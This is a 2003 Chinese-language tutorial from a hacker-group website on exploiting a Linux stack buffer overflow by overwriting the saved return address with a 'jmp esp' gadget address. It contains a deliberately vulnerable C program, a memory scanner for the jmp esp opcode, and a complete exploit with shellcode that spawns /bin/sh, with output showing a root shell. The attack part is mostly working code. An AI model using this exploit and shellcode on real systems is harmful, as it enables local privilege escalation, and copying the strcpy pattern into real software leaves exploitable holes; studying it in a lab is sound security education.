快速通道

文档分类
- 红盟公告
- 新手上路
- 漏洞分析
- 工具介绍
- 安全配置
- 编程技术
- **安全技术** <=
- 业界动态

本类热门
- 如何利用黑客技术跟踪并分析一名目标人物
- 有关无线安全与黑客的话题
- 让我们回归(by 默难)
- 通用ShellCode深入剖析[转]
- Format String 漏洞介绍/总结(一)
- 结合实例解读ELF文件-阅读笔记(1)

利用jmp esp 执行shellcode

提交文章： bkbll
提交日期： 2003-08-20
文章属性： 原创
文档类别： 安全技术
浏览次数： 今4次/总2420次

利用jmp esp 执行shellcode
bkbll(bkbll@cnhonker.net)
2003-8-18
1. 前言.
Linux下面Buffer overflow中利用跳转到堆栈中的shellcode用的比较多, windows下面利用jmp esp跳转的比较多, 本文没有什么技术新意,不过是突发奇想, 改变一下我自己以往的方法而已.
2. 比较.
经常使用的跳转到堆栈的shellcode方法有很好的一面, 比如可以把shellcode放到ENV里面, 这样可以逃避长度的限制. 缺点是这个计算麻烦,增大NOP是个不错的选择. Jmp esp也是个不错的选择哦, 这样可以不用知道shellcode的具体位置了.
3. 看看怎么回事吧.
有问题的程序:

```
[netconf@linux1 test]$ cat vul.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int foo(char *s1)
{
char buffer[20];
memset(buffer,0,20);
strcpy(buffer,s1);
printf("input:%s\r\n",buffer);
return 0;
}

main(int argc,char **argv)
{

if(argc<2)
{
printf("Usage:%s <string>\n",argv[0]);
exit(0);
}
foo(argv[1]);
exit(0);
}
```

很普通的一个buffer overflow.
堆栈结构如下所示:
|AAAA……….A| 其他内容 | ebp | eip |
溢出后, 一般是这样的:

|AAAAAA……...A…….AAAAAAAA|shellcode地址|
利用shellcode地址替换掉保存的eip值
利用jmp esp的堆栈结构:
|AAAAAAAAAAAAAAAAAAAA|jmp esp addr|shellcode
用jmp esp addr来覆盖eip,这样当程序执行eip的时候, 会执行jmp esp指令, 这个时候esp已经是我们存放shellcode的地址了, 这样的精确性就大大提高了,而且不用多余的NOP来覆盖.
首先, 我们需要一个地址,这个地址的内容的汇编代码应该是jmp esp , 我们需要写一个小程序来获得我们所需要的地址:

```
[netconf@linux1 test]$ cat findesp.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
unsigned int i=0x4211cc79;
unsigned int a=0;
unsigned char *p;
void de(int j)
{
printf("\r\nGot SIGSEGV:");
printf("%p\r\n",p+a);
a++;
exit(0);
}
main()
{
p=(unsigned char *)i;
signal(SIGSEGV,de);
foo();
}
int foo()
{
while((unsigned int)p+a<0xbfffffff)
{
fflush(stdout);
if((*(p+a)==0xff) && (*(p+a+1)==0xe4))
{
printf("found it!!,p addr:%p\n",p+a);
a+=2;
foo();
}
a++;
}
exit(0);
}
```

运行一下:

```
[netconf@linux1 test]$ ./findesp
found it!!,p addr:0x4211ccf7
found it!!,p addr:0x4211dd5b
found it!!,p addr:0x4211dee7
found it!!,p addr:0x4211e15f
found it!!,p addr:0x4211e59f
found it!!,p addr:0x42125aa3
found it!!,p addr:0x42125c13

Got SIGSEGV:0x4212f000
[netconf@linux1 test]$
```

不错吧, 得到了很多个满足条件的地址, 我们随便选一个, 只要不带0x00就好.
这样我们可以写出这样一个exploit:

```
[netconf@linux1 test]$ cat exp.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <error.h>

#define JMPESP 0x42125aa3

char progname[]="./vul";
char shellcode[]=
"\x31\xdb\x31\xc9\x31\xd2\x31\xc0\xb0\xa4\xcd\x80"
"\x89\xd8\xb0\x17\xcd\x80"
"\x31\xc0\x50\x50\xb0\xb5\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
```

```
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

main(int argc,char **argv)
{
char buffer[1024];
int num=44,i=0;

memset(buffer,0,1024);
memset(buffer,'A',num);
buffer[num++]=JMPESP & 0xff;
buffer[num++]=(JMPESP>>8) & 0xff;
buffer[num++]=(JMPESP>>16) & 0xff;
buffer[num++]=(JMPESP>>24) & 0xff;
memcpy(buffer+num,shellcode,sizeof(shellcode));
execl(progname,progname,buffer,NULL);
}
```

是不是很短的程序?

```
[netconf@linux1 test]$ ./exp
……
. 蛝1蹓殆蛝柢          /bin/sh
sh-2.05b#
```

轻松搞定.

返回上页

Copyright © 2000-2004 **HUC** All Rights Reserved.
中国红客网络技术联盟 www.cnhonker.com
webmaster@cnhonker.net